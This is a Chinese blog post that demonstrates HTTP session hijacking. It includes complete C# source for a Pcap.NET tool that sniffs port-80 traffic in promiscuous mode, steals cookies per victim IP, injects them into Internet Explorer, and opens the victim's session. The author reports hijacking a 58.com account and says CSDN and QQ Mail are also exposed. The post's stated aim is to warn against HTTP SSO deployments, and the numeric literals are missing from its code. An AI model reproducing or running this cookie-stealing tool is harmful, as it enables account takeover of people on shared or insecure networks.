在我的 单点登录SSO示例代码 一文中,强烈不建议部署HTTP的SSO服务站点。

在此写个基于网络包嗅探的HTTP会话劫持程序,给大家一个直观的危害性展示。

示例中,我在一台Mac上登录58同城,被另一台Windows上的程序劫持。“黑客”查看我的信息畅行无阻,还顺手改了我的头像。

先直接上演示动画吧,48秒:

原文地址:HTTP会话劫持示例-单点登录SSO

58同城的用户登录是采用了HTTPS的,仍然逃不过会话劫持。大部分较规范的网站,都是类似模式:登录采用HTTPS,主要流量走HTTP。

随手测试发现,使用该模式的站点,包括csdn、qq邮箱(是的它竟然还有http版的)等等,很多都未做到会话劫持免疫。博客园其实也中招了,但它把敏感操作都放到了HTTPS,所以没太多影响。

其实,对于用HTTP走流量、HTTPS走认证的站点,略施改造,是可以对会话劫持免疫的。各大网站可以自行下载我的程序自查是否存在缺陷,我可以提供针对性免疫补丁支持。

以下是该示例的主要代码,蛮简单,引用了Pcap.NET组件,需要对应安装WinPcap。基于该组件的网络数据包嗅探,只是做会话劫持的一种途径,而且有应用局限性,所以示例代码更多是一个演示程序而非黑客工具。下面会具体讲到。

想跟进最新代码的还请watch我github上源码:https://github.com/baibaomen/Baibaomen.HttpHijacker

using PcapDotNet.Core;
using PcapDotNet.Packets;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms; namespace Baibaomen.HttpHijacker
{
public partial class FormHijacker : Form
{
/// <summary>
/// 被嗅探到的各个设备的cookie集合。
/// </summary>
ConcurrentDictionary<string, ConcurrentDictionary<string, string>> clientCookies = new ConcurrentDictionary<string, ConcurrentDictionary<string, string>>(); public FormHijacker()
{
InitializeComponent();
} private void FormHijacker_Load(object sender, EventArgs e)
{
StartHijack();
} public void StartHijack()
{
Task.Run(delegate {
IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if (allDevices.Count == )
{
MessageBox.Show("未找到网卡。请确认已安装WinPcap。");
return;
} foreach (var selectedDevice in allDevices)
{
Task.Run(delegate
{
PacketCommunicator communicator =
selectedDevice.Open(, PacketDeviceOpenAttributes.Promiscuous, );
if (communicator.DataLink.Kind != DataLinkKind.Ethernet)
{
return;
} using (BerkeleyPacketFilter filter = communicator.CreateFilter("tcp and dst port 80"))
{
communicator.SetFilter(filter);
}
communicator.ReceivePackets(, PacketHandler);
});
} this.BeginInvoke(new EventHandler(delegate {
lbMsg.Text = "监听已启动";
}));
});
} private void PacketHandler(Packet packet)
{
try
{
var sourceIP = packet.Ethernet.IpV4.Source.ToString(); var http = packet?.Ethernet?.IpV4?.Tcp?.Http;
if (http == null || http.Header == null) return; if (http.IsRequest && http.IsValid)
{
String msg = http.Decode(Encoding.UTF8); //只截获网页正文请求。
if (!string.IsNullOrEmpty(msg))
{
var lines = msg.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
var host = lines.FirstOrDefault(x => x.StartsWith("Host: "))?.Substring("Host: ".Length);
var cookie = lines.FirstOrDefault(x => x.StartsWith("Cookie: "))?.Substring("Cookie: ".Length); if (string.IsNullOrEmpty(host)) return; if (!string.IsNullOrEmpty(cookie))
{
var cCookies = clientCookies.GetOrAdd(sourceIP, new ConcurrentDictionary<string, string>());
cCookies.AddOrUpdate(host, cookie, (key, oldVal) => cookie);
} if (msg.StartsWith("GET ") && (msg.Contains("\nAccept: text/html") || msg.Contains("\nAccept: text/plain")))//筛除对资源文件等的请求,让数据更干净。
{
var pathAndQuery = lines[].Substring(, lines[].LastIndexOf(" HTTP/")).Substring("GET ".Length);
this.BeginInvoke(new EventHandler(delegate {
lstSessions.Items.Insert(, $"{sourceIP}\t{DateTime.Now}\thttp://{host + pathAndQuery}");
}));
}
}
}
}
catch//可能嗅探数据不完整,丢弃。
{
}
} [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool InternetSetCookie(string lpszUrlName, string lbszCookieName, string lpszCookieData); private void btnHijack_Click(object sender, EventArgs e)
{
var selected = lstSessions.SelectedItem; if (selected == null)
{
MessageBox.Show("请选择待劫持会话");
return;
} var segments = selected.ToString().Split('\t');
var ip = segments[];
var url = segments[]; var cookies = clientCookies[ip]; foreach (var domainCookie in cookies) //将cookie设置为浏览的cookie
{
foreach (var item in domainCookie.Value.Split(';'))
{
try
{
var name = item.Substring(, item.IndexOf('=')).Trim();
var value = item.Substring(item.IndexOf('=') + ); InternetSetCookie(
"http://" + domainCookie.Key,
name,
value + ";expires=" + DateTime.UtcNow.AddMinutes().ToString("R"));
}
catch { }//有不符合格式的数据。可能嗅探数据不完整,丢弃。
}
} if (lstSessions.SelectedItem != null)
{
Process.Start("iexplore.exe", url);
}
} }
}

原文地址:HTTP会话劫持示例-单点登录SSO

会话劫持可以在发生在不少地方/途径:

  1. 通过专门设置的路由器/交换机;所有Hub;同一台物理机上的虚拟机
  2. 所有上网代理
  3. 可被ARP攻击的局域网络
  4. 不安全的无线网络
  5. 网络运营商具备劫持能力。以前访问http网站,常常能看到网络运营商注入的广告,这说明它是在解析HTTP数据的

可见能够发生会话劫持的场景比较广。

本示例采用的是上述第一个途径,该途径有较大局限性。这是因为,现在除了部分单位或学校还在用廉价的Hub,大部分是通过路由器、交换机接入网络的。对此只有在支持的设备上特别配置并指定的机器,才能嗅探到其它机器的数据包。

对于同一台物理机上的虚拟机,因为它们对应一块物理网卡,所以无需交换机、路由器上做设置,就能嗅探到彼此数据。使用虚拟机环境是一个运行本示例的快捷途径。

转载须保留原文链接: http://www.cnblogs.com/baibaomen/p/http-session-hijack.html

本作品采用知识共享署名-非商业性使用-相同方式共享 2.5 中国大陆许可协议进行许可。

我的博客欢迎复制共享,但在同时,请保留原文地址,以及我的署名权百宝门-SSO顾问,并且,不得用于商业用途。

如您有任何疑问或者授权方面的协商,请给我邮件。

博客园专栏:
百宝门-SSO顾问

看完48秒动画,让你不敢再登录HTTP网站(附完整示例代码)的更多相关文章

  1. 看完给跪了:技术大牛总结的Github与华为软件开发云完整对比

    华为软件开发云配置管理 服务和Github是国内外比较有代表性的代码托管平台,它们以git作为版本管理工具,使项目中身处各地的人员可以协同工作,主要操作涉及仓库.分支.提交.pull request等 ...

  2. 看完这篇HTTP,跟面试官扯皮就没问题了

    我是一名程序员,我的主要编程语言是 Java,我更是一名 Web 开发人员,所以我必须要了解 HTTP,所以本篇文章就来带你从 HTTP 入门到进阶,看完让你有一种恍然大悟.醍醐灌顶的感觉. 最初在有 ...

  3. 看完SQL Server 2014 Q/A答疑集锦:想不升级都难!

    看完SQL Server 2014 Q/A答疑集锦:想不升级都难! 转载自:http://mp.weixin.qq.com/s/5rZCgnMKmJqeC7hbe4CZ_g 本期嘉宾为微软技术中心技术 ...

  4. 在知乎上看到 Web Socket这篇文章讲得确实挺好,从头看到尾都非常形象生动,一口气看完,没有半点模糊,非常不错

    在知乎上看到这篇文章讲得确实挺好,从头看到尾都非常形象生动,一口气看完,没有半点模糊,非常不错,所以推荐给大家,非常值得一读. 作者:Ovear链接:https://www.zhihu.com/que ...

  5. 盘点国内程序员不常用的热门iOS第三方库:看完,还敢自称”精通iOS开发”吗?【转载】

    综合github上各个项目的关注度与具体使用情况,涵盖功能,UI,数据库,自动化测试,编程工具等类型,看完,还敢自称”精通iOS开发”吗? https://github.com/syedhali/EZ ...

  6. Android图表库MPAndroidChart(二)——线形图的方方面面,看完你会回来感谢我的

    Android图表库MPAndroidChart(二)--线形图的方方面面,看完你会回来感谢我的 在学习本课程之前我建议先把我之前的博客看完,这样对整体的流程有一个大致的了解 Android图表库MP ...

  7. 看完此文还不懂NB-IoT,你就过来掐死我吧...【转】

    转自:https://www.cnblogs.com/pangguoming/p/9755916.html 看完此文还不懂NB-IoT,你就过来掐死我吧....... 1 1G-2G-3G-4G-5G ...

  8. 看完此文还不懂NB-IoT,你就过来掐死我吧...

    看完此文还不懂NB-IoT,你就过来掐死我吧....... 1 1G-2G-3G-4G-5G 不解释,看图,看看NB-IoT在哪里? 2 NB-IoT标准化历程 3GPP NB-IoT的标准化始于20 ...

  9. c#代码 天气接口 一分钟搞懂你的博客为什么没人看 看完python这段爬虫代码,java流泪了c#沉默了 图片二进制转换与存入数据库相关 C#7.0--引用返回值和引用局部变量 JS直接调用C#后台方法(ajax调用) Linq To Json SqlServer 递归查询

    天气预报的程序.程序并不难. 看到这个需求第一个想法就是只要找到合适天气预报接口一切都是小意思,说干就干,立马跟学生沟通价格. ​ ​不过谈报价的过程中,差点没让我一口老血喷键盘上,话说我们程序猿的人 ...

随机推荐

  1. SVG动画-基础篇

    参考资料: http://www.w3school.com.cn/svg/index.asp https://msdn.microsoft.com/zh-cn/library/gg193979 简介 ...

  2. 【一通百通】C/C++的std标准总结

    C/C++发展很多版本标准,sunsky(本人)早就想理理std标准了,让大家有个清晰的了解. 适用C(或C源代码,如C ++,Objective-C和Objective-C ++)的标准: -ans ...

  3. 我所理解的javascript中函数的作用域和作用域链

    本文为原创,转载请注明出处: cnzt       文章:cnzt-p 写在前面 一周木有更新了,今天终于攻克了自行车难关,非常开心,特意来一更~ (那些捂嘴偷笑的人我看到你们了快把嘴闭上我会假装没看 ...

  4. 自适应滤波:奇异值分解SVD

    作者:桂. 时间:2017-04-03  19:41:26 链接:http://www.cnblogs.com/xingshansi/p/6661230.html 声明:欢迎被转载,不过记得注明出处哦 ...

  5. css form表单样式清除

    开发项目中表单常用的清楚样式: 1.改变placeholder默认字体颜色 ::-webkit-input-placeholder{color: #333;} :-moz-placeholder{co ...

  6. [Linux] PHP程序员玩转Linux系列-使用supervisor实现守护进程

    1.PHP程序员玩转Linux系列-怎么安装使用CentOS 2.PHP程序员玩转Linux系列-lnmp环境的搭建 3.PHP程序员玩转Linux系列-搭建FTP代码开发环境 4.PHP程序员玩转L ...

  7. Java事物基础总结

    1.什么是事物? 事物是逻辑上的的一种操作,这个操作过程中的每一个元素要么全部成功,要么全部失败.例如,银行转账过程视为一个事物,转出过程和转入过程要求全部成功或全部失败,通过提交事物或者回滚事物实现 ...

  8. [编织消息框架][JAVA核心技术]动态代理应用10-水平扩展方案

    服务分为系统服务同用户服务两种 水平扩展是基于系统服务,而拆分方式又有几种方案,按数据跟业务情况来做决策 1.每个服务独立存储(图1):每个服务只负责一个或多个领域实体存储,A服务不能直接修改B服务的 ...

  9. php常用的优化手段

    由于工作码成狗,抽闲整理了下内容,以下是网上流传比较广泛的30种SQL查询语句优化方法: 1.应尽量避免在 where 子句中使用!=或<>操作符,否则将引擎放弃使用索引而进行全表扫描. ...

  10. Java高级特性(基础)

    1.StringBuffer.StringBuilder和String一样,也用来代表字符串.String类是不可变类,任何对String的改变都 会引发新的String对象的生成:StringBuf ...